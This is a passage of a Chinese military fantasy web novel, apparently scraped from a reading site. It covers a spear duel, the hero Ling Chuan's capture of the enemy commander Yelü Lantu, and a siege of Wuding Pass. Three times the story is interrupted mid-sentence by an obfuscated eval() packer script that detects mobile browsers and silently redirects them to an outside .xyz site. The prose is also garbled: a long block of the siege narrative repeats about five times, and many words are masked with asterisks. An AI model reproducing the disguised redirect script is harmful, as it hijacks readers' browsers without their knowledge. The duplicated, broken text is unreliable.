前些年,他拜访了草原上的一名枪术强者,此人便是当年从孟星凡枪下唯一存活下来的枪术高手,从他那里,雷烈了解到了孟星凡的枪法,这些年也一直在尝试寻找破解之法。 刚才交手中,他便感觉唐岿然的枪法有些熟悉,一开始并未想起来,后来在心中盘点中原枪术高手的时候,孟星凡这个名字跃然脑海,也让他瞬间看穿了唐岿然的师门。 忽然间,雷烈的眼神中闪过凌冽杀机,咬牙道: “很好,今日我就先用你祭奠我父亲,他日再亲赴南海,取孟星凡项上人头!” 此言一出,唐岿然更加肯定了他的来历,冷漠一笑,道:“就你,死在我师父手中的资格都没有!” 话音刚落,两人再次扑向对方。 眨眼间,又是数十个回合过去,唐岿然依旧傲立场中,反观雷烈,一条手臂被唐岿然刺穿,胸口更是被一枪砸得凹陷了下去,口中不断吐血。 然而,他却似乎感觉不到疼痛,双眼通红宛如嗜血狼王,悍不畏死地朝着唐岿然冲了过来。 “**!” 雷烈暴喝一声,一记灵蛇吐信,直接朝着唐岿然的胸口刺来。 “咻……” 与此同时,一道微不可察的寒芒自护臂中射出,直奔唐岿然面门而去,那赫然是一支袖箭。 唐岿然大惊,连忙挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009178|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪将那支袖箭震飞,然而,对方的狼头枪已近在咫尺,此时唐岿然想要躲避已然是来不及,只能一把将扣住狼头枪库。 奈何,对方双手**,力量十分恐怖,尽管抗岿然使出全力,那一枪还是刺入了他的胸口。 “嗤……” 铁甲破碎,枪头之上隐约可见殷红血迹。 而就在此时,唐岿然也出手了,只见他猛然抬起手中**,直接刺向雷烈的咽喉。 雷烈的狼头枪比他的霸王卸甲长了将近一尺,按理说这一枪是无法刺中对方的,可偏偏就刺中了,而且,整个铁枪直接贯喉而过。 “嗤!” 鲜血喷涌而出,雷烈眼瞪如铜铃,仿佛瞬间被抽干了所有力量。 “唐岿然!” 凌川惊呼一声,翻身下马跑向唐岿然。 耶律蓝图同样是满脸震惊,但他却坐在辇车之上没有动。 凌川满脸惊慌,来到唐岿然面前,只见他满脸痛苦之色,捂着胸口的位置。 “有毒!” 凌川惊呼一声,随即转身便朝着耶律蓝图走去。 “耶律公子,本以为你是坦荡之辈,没想到竟然指使手下人用毒!”凌川怒目圆瞪,厉声喝道。 耶律蓝图一脸错愕,他并不知道雷烈用毒的事情,而且,以往也从未听说过他在枪头上淬毒。 “凌兄你这是何意?”耶律蓝图眼神中闪过一抹怒意:“雷烈就算用毒,也不是我指使的,更何况,你难道没看见他已经**吗?” 凌川仿佛根本没听到他的话,满脸焦急地朝着他走去,说道:“耶律公子,我知道你有解药,只要你给我解药救我兄弟,什么要求我都答应你!” 耶律蓝图顿时眉毛一挑,他没有解药,但他却从中捕捉到了一丝机会。 “呵呵……”耶律蓝图冷笑一声,说道:“解药是吧,好说,好说!” “凌兄只要开城献降,别说区区解药,我耶律王族还会许你高官厚禄,享之不尽的荣华富贵,以凌兄之才待在周军之中,实在是太屈才了!”耶律蓝图盯着凌川,眼神中满是笑意。 第164章 劫持敌军主将! 听闻此言凌川眼神中满是犹豫之色。 让他投敌自然是不可能但他又不能眼睁睁看着唐岿然**身亡。 他满脸为难之色看着耶律蓝图说道:“耶律公子我这个人吃得了苦也受得了委屈唯独当不了汉奸!” 话音刚落凌川猛然暴起身如猎豹一般扑向耶律蓝图的辇车。 “唰……” 一道寒芒乍现凌川猛然拔出战刀。 与此同时原本站立不稳的唐岿然周身气势陡然一变从雷烈的尸体中拔出带血**也跟着冲了上去。 另一边聂星寒果断抬起铁胎弓三支破甲箭搭在弦上瞬间拉至满弦。 见凌川发难鹘颅最先反应过来径直朝着辇车跟前冲去想要挡住凌川。 就在此时三支铁箭呈‘品’字型射来其中两支分别洞穿了鹘颅的大腿第三支则是精准命中他的下身。 “嗷……” 鹘颅双腿中箭那庞大的身躯轰然倒下口中发出野兽般的嚎叫。 相比起双腿被铁箭洞穿下身的疼痛如潮水一般席卷全身让他整个人蜷缩成一团在地上不断翻滚。 而凌川也终于来到辇车跟前手中战刀绽放出慑人寒芒朝耶律蓝图斩下。 耶律蓝图早已被吓得亡魂皆冒他怎么都想不到凌川竟然敢对自己出手。 就在此时他身旁那美艳女子竟操起赶车的马鞭只见她手腕一抖那马鞭宛如灵蛇摆尾缠住凌川的手腕。 紧接着她顺势一带硬生生将凌川这一刀带偏。 与此同时女子一只玉足探出直奔凌川胸口而来那看似白皙光洁的玉足此刻却化身**利器。 凌川顿时一惊本以为这女子不过是耶律蓝图的玩物没想到竟是一位高手。 “护驾 后方数百步之外的亲兵也看出了不对劲连忙策马冲过来。 队伍距离此地只有五六百步对于骑兵来说不过是数十息的事情。 凌川深知情况紧急不敢有半点耽搁只见他从身后取下匣子**对着车辇直接扣动机括。 九支短箭先后飞出那女子不敢躲避因为她身后便是耶律蓝图自己要躲开不难耶律蓝图将直接被射杀。 只见她舞动手中马鞭将几支铁箭缠住但最后那三支铁箭却精准射中她的小腹她本就穿着单薄鲜血瞬间染红了白皙肌肤。 凌川趁机跃上马车一记顶心肘撞在女子的胸口尽管那对饱满卸掉了部分力量但这全力一击还是将她撞飞出马车。 “噗……” 女子重重摔在地上当场喷出一大口鲜血。 凌川没再理会她手中战刀直接架在了耶律蓝图的脖子上。 “耶律公子得罪了!” 说完凌川直接驱动马车朝着武定关方向奔去。 唐岿然与聂星寒二人也及时赶到 然而面对自家主将被擒这些亲兵哪还顾得了自己的生死不断拍打着战马冲上来。 唐岿然见状果断提枪冲了上去挡住这些亲兵为凌川赢得时间。 “噗……” 只见他一**出将冲在最前面那名亲兵首领的胸口洞穿随即猛然用力直接将其从马背上挑飞下来。 紧接着唐岿然抡起**朝着地面横扫当场将数条马腿砸断。 战马吃痛发出阵阵嘶鸣随即连同马背上的亲兵一同栽倒。 唐岿然一人一枪硬生生将这只亲兵队伍挡住一些亲兵试图从两旁绕过去追赶耶律蓝图的车辇结果纷纷被聂星寒射杀。 车辇之上耶律蓝图想趁机跳下马车却被凌川一把摁住。 “嗤……” 凌川一刀扎在他的大腿上耶律蓝图口中顿时传来惨叫。 “耶律公子如果你不想死的话最好老实点!”凌川冷声喝道。 耶律蓝图捂着流血不止的大腿眼神中再无之前的慵懒与泰然取而代之的是痛苦与恐惧。 两匹骏马拉着车辇一路飞奔凌川转头看了一眼发现大批胡羯骑兵已经压了上来眼看唐岿然与聂星寒二人即将被包围他连忙大喊道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009179|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快撤!” 二人接到命令果断后撤但聂星寒却始终倒骑战马不断放箭阻止追兵。 之前接到命令提前返回的巩邑夫并未进城而是一直在吊桥跟前等候。 见凌川驱动马车朝着这边奔来巩邑夫连忙让城墙之上的士兵放下吊桥。 与此同时城门也缓缓打开可供凌川等人顺利撤回城内。 “**手准备!”校尉黄渠下令数十架床**纷纷拉满弦。 “放!” 一支支**箭飞射而出宛如一张大网将追上来的胡羯骑兵拦住。 此时凌川等人已经撤回五百步之内而追兵却在五 百步开外。 **箭分成两匹,交替发射,虽然胡羯军悍不畏死,并未因为**箭而停下,但也大大阻拦了他们的速度。 “大人,快进程!”吊桥跟前巩邑夫大大声喊道。 “一起撤回城内!”凌川大声说道。 凌川率先驾车跨过吊桥,从半开的城门进城,紧接着,巩邑夫、聂星寒与唐岿然三人也撤了进来。 尽管有不少追兵冒死穿过**箭来到城下,可吊桥已经被拉起,迎接他们的是一片箭雨。 这些追兵大多为轻骑,基本不会配备盾牌,所以,面对城墙上洒落的箭矢,他们根本无处可避,连人带马全部被射成了刺猬。 此次行动,哪怕凌川精密布局,可依旧是惊险万分,但凡任何一个环节出现偏差,他们四人都将死无葬身之地。 或许,也正是因为如此,耶律蓝图才不敢相信,凌川敢冒这么大的风险去劫持他。 刚进城,耶律蓝图便被五花大绑,此时的他,早已被吓得浑身颤抖,再加上大腿被扎了一刀,大量失血导致他脸色一片苍白。 “凌川,我本敬你是坦荡丈夫,没想到竟是如此阴险的小人!”耶律蓝图咬牙说道。 凌川淡淡一笑,说道:“耶律公子,你就别道德**我了,别以为我不知道你派了一支精兵突袭折戟岭!” 第165章 兵者,国之大事! 此言一出,耶律蓝图脸色剧变,仿佛见了鬼一般盯着凌川。 “你,你怎么会知道?” “耶律公子是真以为自己聪明绝顶、运筹帷幄,还是把其他人都当傻子?” 凌川一边整理着自己的铠甲,一边说道:“兵者,国之大事!我不相信有人会用比试这种儿戏来决定战斗是胜负,如果真有,那一定是陷阱!” “既然知道是陷阱,我还是往里面跳,那就只有一种可能,我是在将计就计!” 就在此时,纪天禄与洛青云同时赶来。 “大人,突袭折戟岭的那五百胡羯精兵被咱们包了饺子,一个都没跑掉!”纪天禄说道。 凌川点了点头,笑道:“干得漂亮!” 耶律蓝图则是面如死灰,他原本的计划是假装与凌川来一场阵前比武,以此吸引武定关的注意力,而暗中则是让人带着五百精兵突袭折戟岭。 折戟岭本是武定关东面的一处要隘,平时有三百精兵镇守,而这一次,在猜到对方的意图之后,凌川在各处要隘增兵,同时让纪天禄的斥候队迅速探查敌军动向。 果然,他们选择了折戟岭,当他们发起突击的时候,遭到了周军的猛烈抵抗,这让领头之人发现,守军绝对不止三百。 而就在此时,纪天禄的一百斥候自后方闪现,切断了他们的退路,不到一炷香的时间,五百胡羯精兵被**殆尽。 而凌川这边,则是假装不知情,甚至还尽可能地配合耶律蓝图,实际上却是在一步步完成自己的计划。 先是在比试中干掉苍狼与雷烈,为劫持计划扫清障碍,最后,他以身犯险,以唐岿然**为幌子不知不觉间来到耶律蓝图跟前,完成整个计划的核心环节。 不得不说,凌川的演技非常过硬,当时他脸上的焦急任谁看了都不像是装的,无论是耶律蓝图还是他身边那女子,都没有看出任何端倪。 现在想起来,耶律蓝图依然是后背发凉,因为,凌川将整个计划的所有环节都算得死死的,哪怕是再来一次,自己多半还是会中计。 唐岿然与三人也翻身下马,走到凌川身边。 “怎么样?没事吧?”凌川问道。 唐岿然拍着胸脯笑道:“就擦破点皮而已,跟蚊子叮一下差不多!” 事实上,唐岿然若不是怕演得不够逼真,从而露出破绽的话,雷烈那一枪多半连皮**都伤不到。 四人之中,唯一受伤的便是巩邑夫,他那不是演的,而是真干不过鹘颅。 “苍蝇! ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009180|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 